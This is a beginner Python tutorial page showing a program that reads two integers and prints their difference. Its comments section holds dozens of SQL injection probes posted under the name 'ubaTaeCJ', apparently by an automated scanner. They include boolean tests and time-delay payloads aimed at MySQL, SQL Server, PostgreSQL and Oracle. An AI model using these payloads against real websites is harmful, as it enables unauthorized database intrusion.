Python Subtraction

Python program to get two integer numbers, subtract both the integers and display the difference

Sample Input 1:

6 5

Sample Output 1:

1

Sample Input 2:

65 4

Sample Output 2:

61

Flow Chart Design

Python Subtraction Flow Chart

Program or Solution

				
			
					
num1=int(input("Enter First number:"))
num2=int(input("Enter second number:"))
diff=num1-num2
print(diff)

			
				
			

Program Explanation

Read two inputs using input() method.

Convert it into integer by int() method.

Subtract it using - operator.

Comments

ubaTaeCJ
-1 OR 2+570-570-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+570-570-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+570-570) --
ubaTaeCJ
-1 OR 3*2>(0+5+570-570) --
ubaTaeCJ
-1 OR 2+292-292-1=0+0+0+1
ubaTaeCJ
-1 OR 3+292-292-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+292-292)
ubaTaeCJ
-1 OR 3*2>(0+5+292-292)
ubaTaeCJ
-1' OR 2+232-232-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+232-232-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+232-232) --
ubaTaeCJ
-1' OR 3*2>(0+5+232-232) --
ubaTaeCJ
-1' OR 2+842-842-1=0+0+0+1 or 'Bht52LrM'='
ubaTaeCJ
-1' OR 3+842-842-1=0+0+0+1 or 'Bht52LrM'='
ubaTaeCJ
-1' OR 3*2<(0+5+842-842) or 'Bht52LrM'='
ubaTaeCJ
-1' OR 3*2>(0+5+842-842) or 'Bht52LrM'='
ubaTaeCJ
-1" OR 2+354-354-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+354-354-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+354-354) --
ubaTaeCJ
-1" OR 3*2>(0+5+354-354) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
3lCP8Qtt'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 184=(SELECT 184 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 821=(SELECT 821 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 287=(SELECT 287 FROM PG_SLEEP(0))--
ubaTaeCJ
-1)) OR 282=(SELECT 282 FROM PG_SLEEP(6))--
ubaTaeCJ
sNyl0upC' OR 263=(SELECT 263 FROM PG_SLEEP(15))--
ubaTaeCJ
BqvZzyX1') OR 809=(SELECT 809 FROM PG_SLEEP(15))--
ubaTaeCJ
XHlhWIAy')) OR 328=(SELECT 328 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),6)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@eajfK